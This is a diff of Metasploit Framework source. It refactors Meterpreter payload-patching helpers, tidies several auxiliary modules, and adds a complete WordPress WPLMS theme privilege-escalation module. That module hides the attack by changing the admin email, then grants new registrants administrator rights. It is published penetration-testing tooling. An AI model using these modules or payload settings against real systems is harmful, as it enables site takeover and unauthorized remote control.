return unless(request_headers && response_headers)
|
||||
req_header = Rex::Proto::Http::Packet::Header.new
|
||||
res_header = Rex::Proto::Http::Packet::Header.new
|
||||
req_header.from_s request_headers_text.dup
|
||||
res_header.from_s response_headers_text.dup
|
||||
req_header.from_s request_headers.lstrip
|
||||
res_header.from_s response_headers.lstrip
|
||||
if response_body.blank?
|
||||
response_body = ''
|
||||
end
|
||||
@state[:request_headers] = req_header
|
||||
@state[:request_body] = request_body_text
|
||||
@state[:request_body] = request_body.lstrip
|
||||
@state[:response_headers] = res_header
|
||||
@state[:response_body] = response_body_text
|
||||
@state[:response_body] = response_body.lstrip
|
||||
end
|
||||
|
||||
# Appscan tab-indents which makes parsing a little difficult. They
|
||||
|
|
|
@ -56,6 +56,36 @@ class X509Certificate
|
|||
parse_pem(data)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format and retrieve
|
||||
# the SHA1 hash.
|
||||
#
|
||||
# @param [String] ssl_cert
|
||||
# @return [String]
|
||||
def self.get_cert_hash(ssl_cert)
|
||||
hcert = parse_pem(ssl_cert)
|
||||
|
||||
unless hcert and hcert[0] and hcert[1]
|
||||
raise ArgumentError, "Could not parse a private key and certificate"
|
||||
end
|
||||
|
||||
Rex::Text.sha1_raw(hcert[1].to_der)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a file that contains a certificate in unified PEM
|
||||
# format and retrieve the SHA1 hash.
|
||||
#
|
||||
# @param [String] ssl_cert_file
|
||||
# @return [String]
|
||||
def self.get_cert_file_hash(ssl_cert_file)
|
||||
data = ''
|
||||
::File.open(ssl_cert_file, 'rb') do |fd|
|
||||
data << fd.read(fd.stat.size)
|
||||
end
|
||||
get_cert_hash(data)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -11,29 +11,23 @@ module Rex
|
|||
module Patch
|
||||
|
||||
# Replace the transport string
|
||||
def self.patch_transport! blob, ssl
|
||||
|
||||
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
||||
if i
|
||||
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
def self.patch_transport!(blob, ssl)
|
||||
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
||||
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
|
||||
end
|
||||
|
||||
# Replace the URL
|
||||
def self.patch_url! blob, url
|
||||
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
str = url
|
||||
blob[i, str.length] = str
|
||||
def self.patch_url!(blob, url)
|
||||
unless patch_string!(blob, "https://#{'X' * 512}", url)
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
patch_string!(blob, "https://#{'X' * 256}", url)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Replace the session expiration timeout
|
||||
def self.patch_expiration! blob, expiration
|
||||
def self.patch_expiration!(blob, expiration)
|
||||
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
if i
|
||||
|
@ -44,7 +38,7 @@ module Rex
|
|||
end
|
||||
|
||||
# Replace the session communication timeout
|
||||
def self.patch_comm_timeout! blob, comm_timeout
|
||||
def self.patch_comm_timeout!(blob, comm_timeout)
|
||||
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
|
@ -55,68 +49,71 @@ module Rex
|
|||
end
|
||||
|
||||
# Replace the user agent string with our option
|
||||
def self.patch_ua! blob, ua
|
||||
|
||||
ua = ua[0,255] + "\x00"
|
||||
i = blob.index("METERPRETER_UA\x00")
|
||||
if i
|
||||
blob[i, ua.length] = ua
|
||||
end
|
||||
|
||||
def self.patch_ua!(blob, ua)
|
||||
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
|
||||
end
|
||||
|
||||
# Activate a custom proxy
|
||||
def self.patch_proxy! blob, proxyhost, proxyport, proxy_type
|
||||
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
|
||||
|
||||
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
if i
|
||||
if proxyhost
|
||||
if proxyhost.to_s != ""
|
||||
proxyhost = proxyhost.to_s
|
||||
proxyport = proxyport.to_s || "8080"
|
||||
proxyinfo = proxyhost + ":" + proxyport
|
||||
if proxyport == "80"
|
||||
proxyinfo = proxyhost
|
||||
end
|
||||
if proxy_type.to_s == 'HTTP'
|
||||
proxyinfo = 'http://' + proxyinfo
|
||||
else #socks
|
||||
proxyinfo = 'socks=' + proxyinfo
|
||||
end
|
||||
proxyinfo << "\x00"
|
||||
blob[i, proxyinfo.length] = proxyinfo
|
||||
end
|
||||
if proxyhost && proxyhost.to_s != ""
|
||||
proxyhost = proxyhost.to_s
|
||||
proxyport = proxyport.to_s || "8080"
|
||||
proxyinfo = proxyhost + ":" + proxyport
|
||||
if proxyport == "80"
|
||||
proxyinfo = proxyhost
|
||||
end
|
||||
if proxy_type.to_s.upcase == 'HTTP'
|
||||
proxyinfo = 'http://' + proxyinfo
|
||||
else #socks
|
||||
proxyinfo = 'socks=' + proxyinfo
|
||||
end
|
||||
proxyinfo << "\x00"
|
||||
patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Proxy authentification
|
||||
def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type
|
||||
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
|
||||
|
||||
unless (proxy_username.nil? or proxy_username.empty?) or
|
||||
(proxy_password.nil? or proxy_password.empty?) or
|
||||
proxy_type == 'SOCKS'
|
||||
return if proxy_type.nil? || proxy_type.upcase == 'SOCKS'
|
||||
|
||||
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
proxy_username = proxy_username << "\x00"
|
||||
blob[proxy_username_loc, proxy_username.length] = proxy_username
|
||||
|
||||
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
proxy_password = proxy_password << "\x00"
|
||||
blob[proxy_password_loc, proxy_password.length] = proxy_password
|
||||
if proxy_username && !proxy_username.empty?
|
||||
unless patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
|
||||
proxy_username + "\x00")
|
||||
raise ArgumentError, "Unable to patch Proxy Username"
|
||||
end
|
||||
end
|
||||
|
||||
if proxy_password && !proxy_password.empty?
|
||||
unless patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
|
||||
proxy_password + "\x00")
|
||||
raise ArgumentError, "Unable to patch Proxy Password"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Patch the ssl cert hash
|
||||
def self.patch_ssl_check!(blob, ssl_cert_hash)
|
||||
# SSL cert location is an ASCII string, so no need for
|
||||
# WCHAR support
|
||||
if ssl_cert_hash
|
||||
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
|
||||
if i
|
||||
blob[i, ssl_cert_hash.length] = ssl_cert_hash
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
def self.patch_passive_service! blob, options
|
||||
def self.patch_passive_service!(blob, options)
|
||||
|
||||
patch_transport! blob, options[:ssl]
|
||||
patch_url! blob, options[:url]
|
||||
patch_expiration! blob, options[:expiration]
|
||||
patch_comm_timeout! blob, options[:comm_timeout]
|
||||
patch_ua! blob, options[:ua]
|
||||
patch_transport!(blob, options[:ssl])
|
||||
patch_url!(blob, options[:url])
|
||||
patch_expiration!(blob, options[:expiration])
|
||||
patch_comm_timeout!(blob, options[:comm_timeout])
|
||||
patch_ua!(blob, options[:ua])
|
||||
patch_ssl_check!(blob, options[:ssl_cert_hash])
|
||||
patch_proxy!(blob,
|
||||
options[:proxy_host],
|
||||
options[:proxy_port],
|
||||
|
@ -130,6 +127,36 @@ module Rex
|
|||
|
||||
end
|
||||
|
||||
#
|
||||
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
|
||||
#
|
||||
def self.patch_string!(blob, search, replacement)
|
||||
result = false
|
||||
|
||||
i = blob.index(search)
|
||||
if i
|
||||
blob[i, replacement.length] = replacement
|
||||
result = true
|
||||
else
|
||||
i = blob.index(wchar(search))
|
||||
if i
|
||||
r = wchar(replacement)
|
||||
blob[i, r.length] = r
|
||||
result = true
|
||||
end
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Convert the given ASCII string into a WCHAR string (dumb, but works)
|
||||
#
|
||||
def self.wchar(str)
|
||||
str.to_s.unpack("C*").pack("v*")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Handler
|
||||
module ReverseHttp
|
||||
module Rex
|
||||
module Payloads
|
||||
module Meterpreter
|
||||
module UriChecksum
|
||||
|
||||
#
|
|
@ -48,7 +48,14 @@ class ClientCore < Extension
|
|||
request = Packet.create_request('core_enumextcmd')
|
||||
request.add_tlv(TLV_TYPE_STRING, extension_name)
|
||||
|
||||
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
|
||||
begin
|
||||
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
|
||||
rescue
|
||||
# In the case where orphaned shells call back with OLD copies of the meterpreter
|
||||
# binaries, we end up with a case where this fails. So here we just return the
|
||||
# empty list of supported commands.
|
||||
return []
|
||||
end
|
||||
|
||||
# No response?
|
||||
if response.nil?
|
||||
|
|
|
@ -114,9 +114,6 @@ module PacketDispatcher
|
|||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
# Force a closure for older WinInet implementations
|
||||
self.passive_service.close_client( cli )
|
||||
|
||||
rescue ::Exception => e
|
||||
elog("Exception handling request: #{cli.inspect} #{req.inspect} #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
@ -178,7 +175,6 @@ module PacketDispatcher
|
|||
# Sends a packet and waits for a timeout for the given time interval.
|
||||
#
|
||||
def send_request(packet, t = self.response_timeout)
|
||||
|
||||
if not t
|
||||
send_packet(packet)
|
||||
return nil
|
||||
|
|
|
@ -187,7 +187,7 @@ module Rex
|
|||
|
||||
# Decodes a Kerberos response
|
||||
#
|
||||
# @param input [String] the raw response message
|
||||
# @param data [String] the raw response message
|
||||
# @return [<Rex::Proto::Kerberos::Model::KrbError, Rex::Proto::Kerberos::Model::KdcResponse>] the kerberos message response
|
||||
# @raise [RuntimeError] if the response can't be processed
|
||||
def decode_kerb_response(data)
|
||||
|
|
|
@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
#spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter on Windows, soon others.
|
||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.16'
|
||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.17'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
|
|
@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
#check to see if we get HTTP OK
|
||||
# check to see if we get HTTP OK
|
||||
if (res.code == 200)
|
||||
print_status("Okay, Got an HTTP 200 (okay) code. Verifying Server header")
|
||||
else
|
||||
|
@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
#Check to verify server reported is a 2wire router
|
||||
# Check to verify server reported is a 2wire router
|
||||
if (res.headers['Server'].match(/2wire Gateway/i))
|
||||
print_status("Server is a 2wire Gateway! Grabbing info\n")
|
||||
else
|
||||
|
@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Hardware Version: #{hardware}")
|
||||
end
|
||||
|
||||
#Check the Software Version
|
||||
# Check the Software Version
|
||||
if res.body.match(/<td class="data">(5\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td>/i)
|
||||
ver = $1
|
||||
print_status("Software version: #{ver}")
|
||||
|
|
|
@ -71,9 +71,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
|
||||
|
||||
cmd = datastore['CMD']
|
||||
#original post request:
|
||||
#data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
|
||||
#action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
|
||||
# original post request:
|
||||
# data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
|
||||
# action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
|
||||
|
||||
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
|
||||
begin
|
||||
|
|
|
@ -20,8 +20,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Craig Heffner', #vulnerability discovery and original exploit
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' #metasploit module
|
||||
'Craig Heffner', # vulnerability discovery and original exploit
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
|
|
@ -130,7 +130,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return false
|
||||
end
|
||||
when 302
|
||||
#Success!
|
||||
# Success!
|
||||
return true
|
||||
else
|
||||
print_error("ERROR: received code #{res.code}")
|
||||
|
|
|
@ -100,20 +100,20 @@ class Metasploit4 < Msf::Auxiliary
|
|||
else
|
||||
print_status("Rotating through known encryption keys")
|
||||
encryption_keys = [
|
||||
#TYPO3 4.3.x - 4.4.x
|
||||
# TYPO3 4.3.x - 4.4.x
|
||||
'd696ab49a803d7816021cb1768a6917d',
|
||||
'47d1e990583c9c67424d369f3414728e6793d9dc2ae3429d488a7374bc85d2a0b19b62de67d46a6079a75f10934288d3',
|
||||
'7b13b2203029ed80337f27127a9f1d28c2597f4c08c9a07b782b674731ecf5328c4d900851957899acdc6d4f911bf8b7',
|
||||
#TYPO3 4.4.7+
|
||||
# TYPO3 4.4.7+
|
||||
'fbbdebd9091d914b3cd523485afe7b03e6006ade4125e4cf4c46195b3cecbb9ae0fe0f7b5a9e72ea2ac5f17b66f5abc7',
|
||||
#TYPO3 4.5.0
|
||||
# TYPO3 4.5.0
|
||||
'def76f1d8139304b7edea83b5f40201088ba70b20feabd8b2a647c4e71774b7b0e4086e4039abaf5d4f6a521f922e8a2',
|
||||
'bac0112e14971f00431639342415ff22c3c3bf270f94175b8741c0fa95df244afb61e483c2facf63cffc320ed61f2731',
|
||||
#TYPO3 4.5.2
|
||||
# TYPO3 4.5.2
|
||||
'14b1225e2c277d55f54d18665791f114f4244f381113094e2a19dfb680335d842e10460995eb653d105a562a5415d9c7',
|
||||
#TYPO3 4.5.3
|
||||
# TYPO3 4.5.3
|
||||
'5d4eede80d5cec8df159fd869ec6d4041cd2fc0136896458735f8081d4df5c22bbb0665ddac56056023e01fbd4ab5283',
|
||||
#TYPO3 4.5.4 - 4.5.7
|
||||
# TYPO3 4.5.4 - 4.5.7
|
||||
'b2aae63def4c512ce8f4386e57b8a48b40312de30775535cbff60a6eab356809a0b596edaad49c725d9963d93aa2ffae',
|
||||
]
|
||||
end
|
||||
|
|
|
@ -29,6 +29,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-2673'],
|
||||
['WPVDB', '7808'],
|
||||
['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
|
||||
],
|
||||
|
|
|
@ -0,0 +1,125 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows an
|
||||
authenticated user of any user level to set any system option due to a lack of
|
||||
validation in the import_data function of /includes/func.php.
|
||||
|
||||
The module first changes the admin e-mail address to prevent any
|
||||
notifications being sent to the actual administrator during the attack,
|
||||
re-enables user registration in case it has been disabled and sets the default
|
||||
role to be administrator. This will allow for the user to create a new account
|
||||
with admin privileges via the default registration page found at
|
||||
/wp-login.php?action=register.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Evex', # Vulnerability discovery
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['WPVDB', '7785']
|
||||
],
|
||||
'DisclosureDate' => 'Feb 09 2015'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def php_serialize(value)
|
||||
# Only strings and numbers are required by this module
|
||||
case value
|
||||
when String, Symbol
|
||||
"s:#{value.bytesize}:\"#{value}\";"
|
||||
when Fixnum
|
||||
"i:#{value};"
|
||||
end
|
||||
end
|
||||
|
||||
def serialize_and_encode(value)
|
||||
serialized_value = php_serialize(value)
|
||||
unless serialized_value.nil?
|
||||
Rex::Text.encode_base64(serialized_value)
|
||||
end
|
||||
end
|
||||
|
||||
def set_wp_option(name, value, cookie)
|
||||
encoded_value = serialize_and_encode(value)
|
||||
if encoded_value.nil?
|
||||
vprint_error("#{peer} - Failed to serialize #{value}.")
|
||||
else
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'vars_get' => { 'action' => 'import_data' },
|
||||
'vars_post' => { 'name' => name, 'code' => encoded_value },
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - No response from the target.")
|
||||
else
|
||||
vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200
|
||||
end
|
||||
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
|
||||
cookie = wordpress_login(username, password)
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
|
||||
print_good("#{peer} - Authenticated with WordPress")
|
||||
|
||||
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
|
||||
print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
|
||||
if set_wp_option('admin_email', new_email, cookie).nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Enabling user registrations...")
|
||||
if set_wp_option('users_can_register', 1, cookie).nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Setting the default user role...")
|
||||
if set_wp_option('default_role', 'administrator', cookie).nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
|
||||
end
|
||||
|
||||
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
|
||||
print_good("#{peer} - Privilege escalation complete")
|
||||
print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
|
||||
end
|
||||
end
|
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def run
|
||||
connect
|
||||
|
||||
#Grab the MaxDB info.
|
||||
# Grab the MaxDB info.
|
||||
pdbmsrv = "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"
|
||||
pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00"
|
||||
pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00"
|
||||
|
@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status(info)
|
||||
end
|
||||
|
||||
#Send our command.
|
||||
# Send our command.
|
||||
len = 39 + datastore['CMD'].length
|
||||
|
||||
data = len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00"
|
||||
|
|
|
@ -47,8 +47,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', #Initial discovery, poc
|
||||
'Matt "hostess" Andreko <mandreko[at]accuvant.com>' #Msf module
|
||||
'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
|
||||
'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -174,7 +174,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
unless length == data.length
|
||||
vprint_warning("#{peer} - Inconsistent length / data packet")
|
||||
#return nil
|
||||
# return nil
|
||||
end
|
||||
|
||||
return { :length => length, :data => data }
|
||||
|
|
|
@ -48,8 +48,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:type => 'MSSQL_ENUM',
|
||||
:data => "Version: #{sqlversion}")
|
||||
|
||||
#-------------------------------------------------------
|
||||
#Check Configuration Parameters and check what is enabled
|
||||
#---------------------------------------------------------
|
||||
# Check Configuration Parameters and check what is enabled
|
||||
print_status("Configuration Parameters:")
|
||||
if vernum.join != "2000"
|
||||
query = "SELECT name, CAST(value_in_use AS INT) from sys.configurations"
|
||||
|
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
sysconfig[l[0].strip] = l[1].to_i
|
||||
end
|
||||
else
|
||||
#enable advanced options
|
||||
# enable advanced options
|
||||
mssql_query("EXEC sp_configure \'show advanced options\', 1; RECONFIGURE")[:rows]
|
||||
query = "EXECUTE sp_configure"
|
||||
ver = mssql_query(query)[:rows]
|
||||
|
@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#-------------------------------------------------------
|
||||
#checking for C2 Audit Mode
|
||||
# checking for C2 Audit Mode
|
||||
if sysconfig['c2 audit mode'] == 1
|
||||
print_status("\tC2 Audit Mode is Enabled")
|
||||
report_note(:host => datastore['RHOST'],
|
||||
|
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#-------------------------------------------------------
|
||||
#check if xp_cmdshell is enabled
|
||||
# check if xp_cmdshell is enabled
|
||||
if vernum.join != "2000"
|
||||
if sysconfig['xp_cmdshell'] == 1
|
||||
print_status("\txp_cmdshell is Enabled")
|
||||
|
@ -126,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#-------------------------------------------------------
|
||||
#check if remote access is enabled
|
||||
# check if remote access is enabled
|
||||
if sysconfig['remote access'] == 1
|
||||
print_status("\tremote access is Enabled")
|
||||
report_note(:host => datastore['RHOST'],
|
||||
|
@ -162,7 +162,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#-------------------------------------------------------
|
||||
#check if Mail stored procedures are enabled
|
||||
# check if Mail stored procedures are enabled
|
||||
if vernum.join != "2000"
|
||||
if sysconfig['Database Mail XPs'] == 1
|
||||
print_status("\tDatabase Mail XPs is Enabled")
|
||||
|
@ -199,7 +199,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#-------------------------------------------------------
|
||||
#check if OLE stored procedures are enabled
|
||||
# check if OLE stored procedures are enabled
|
||||
if vernum.join != "2000"
|
||||
if sysconfig['Ole Automation Procedures'] == 1
|
||||
print_status("\tOle Automation Procedures are Enabled")
|
||||
|
@ -451,7 +451,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#-------------------------------------------------------
|
||||
#Check for local accounts with same username as password
|
||||
# Check for local accounts with same username as password
|
||||
sameasuser = []
|
||||
if vernum.join != "2000"
|
||||
sameasuser = mssql_query("SELECT name FROM sys.sql_logins WHERE PWDCOMPARE\(name, password_hash\) = 1")[:rows]
|
||||
|
@ -479,7 +479,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#-------------------------------------------------------
|
||||
#Check for local accounts with empty password
|
||||
# Check for local accounts with empty password
|
||||
blankpass = []
|
||||
if vernum.join != "2000"
|
||||
blankpass = mssql_query("SELECT name FROM sys.sql_logins WHERE PWDCOMPARE\(\'\', password_hash\) = 1")[:rows]
|
||||
|
@ -507,7 +507,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#-------------------------------------------------------
|
||||
#Check for dangerous stored procedures
|
||||
# Check for dangerous stored procedures
|
||||
fountsp = []
|
||||
dangeroussp = [
|
||||
'sp_createorphan',
|
||||
|
@ -732,7 +732,7 @@ EOS
|
|||
end
|
||||
|
||||
#-------------------------------------------------------
|
||||
#Enumerate Instances
|
||||
# Enumerate Instances
|
||||
instances =[]
|
||||
if vernum.join != "2000"
|
||||
querykey = "EXEC master..xp_regenumvalues \'HKEY_LOCAL_MACHINE\',\'SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL\'"
|
||||
|
@ -769,7 +769,7 @@ EOS
|
|||
end
|
||||
|
||||
#---------------------------------------------------------
|
||||
#Enumerate under what accounts the instance services are running under
|
||||
# Enumerate under what accounts the instance services are running under
|
||||
print_status("Default Server Instance SQL Server Service is running under the privilege of:")
|
||||
privdflt = mssql_query("EXEC master..xp_regread \'HKEY_LOCAL_MACHINE\' ,\'SYSTEM\\CurrentControlSet\\Services\\MSSQLSERVER\',\'ObjectName\'")[:rows]
|
||||
if privdflt != nil
|
||||
|
|
|
@ -33,12 +33,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 3000])
|
||||
OptInt.new('START_RID', [true, 'RID to start fuzzing at.', 500]),
|
||||
OptInt.new('END_RID', [true, 'RID to stop fuzzing at.', 3000])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Grabbing the server and domain name...")
|
||||
print_status("#{peer} - Grabbing the SQL Server name and domain...")
|
||||
db_server_name = get_server_name
|
||||
if db_server_name.nil?
|
||||
print_error("#{peer} - Unable to grab the server name")
|
||||
|
@ -71,7 +72,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
# Get a list of windows users, groups, and computer accounts using SUSER_NAME()
|
||||
print_status("#{peer} - Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")
|
||||
total_rids = datastore['END_RID'] - datastore['START_RID']
|
||||
print_status("#{peer} - Brute forcing #{total_rids} RIDs via SQL injection, be patient...")
|
||||
domain_users = get_win_domain_users(windows_domain_sid)
|
||||
if domain_users.nil?
|
||||
print_error("#{peer} - Sorry, no Windows domain accounts were found, or DC could not be contacted.")
|
||||
|
@ -172,11 +174,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
windows_logins = []
|
||||
|
||||
total_rids = datastore['END_RID'] - datastore['START_RID']
|
||||
# Fuzz the principal_id parameter (RID in this case) passed to the SUSER_NAME function
|
||||
(500..datastore['FuzzNum']).each do |principal_id|
|
||||
|
||||
(datastore['START_RID']..datastore['END_RID']).each do |principal_id|
|
||||
rid_diff = principal_id - datastore['START_RID']
|
||||
if principal_id % 100 == 0
|
||||
print_status("#{peer} - Querying SID #{principal_id} of #{datastore['FuzzNum']}")
|
||||
print_status("#{peer} - #{rid_diff} of #{total_rids } RID queries complete")
|
||||
end
|
||||
|
||||
user_sid = build_user_sid(domain_sid, principal_id)
|
||||
|
|
|
@ -150,7 +150,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return nil
|
||||
end
|
||||
|
||||
#Parse results
|
||||
# Parse results
|
||||
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
|
||||
|
||||
if parsed_result && !parsed_result.empty?
|
||||
|
|
|
@ -53,12 +53,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def sql_statement()
|
||||
|
||||
#DEFINED HEADER TEXT
|
||||
# DEFINED HEADER TEXT
|
||||
headings = [
|
||||
["Server","Database", "Schema", "Table", "Column", "Data Type", "Sample Data","Row Count"]
|
||||
]
|
||||
|
||||
#DEFINE SEARCH QUERY AS VARIABLE
|
||||
# DEFINE SEARCH QUERY AS VARIABLE
|
||||
sql = "
|
||||
